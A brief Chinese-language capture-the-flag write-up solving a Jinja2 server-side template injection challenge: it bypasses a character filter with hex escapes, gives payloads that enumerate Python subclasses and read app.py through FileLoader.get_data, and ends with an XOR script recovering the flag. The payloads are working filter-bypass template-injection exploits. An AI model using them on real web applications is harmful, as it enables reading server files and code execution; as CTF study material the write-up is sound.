解题
经过测试,.
,_
,'
,都被过滤,可以用16进制绕过
读取config,可以看到一串加密的flag
查看所有可用模块
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
用<class '_frozen_importlib_external.FileLoader'>
这个去读取文件,查看源码
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[91]["get\x5fdata"](0, "app\x2Epy")}}
源码是读取flag,并有encode这个函数加密,然后删除flag文件
之前得到了加密后的flag,现在只要反推encode函数,由于用的异或,所有直接调用encode函数就行
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
t = '-M7\x10wG06a\x04*c|\x0eFYn\x03(DK\x12\x0f\x17!=\x062\x02YB\\!Q.{\x13jGZ\x1cG'
print(encode(t,'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))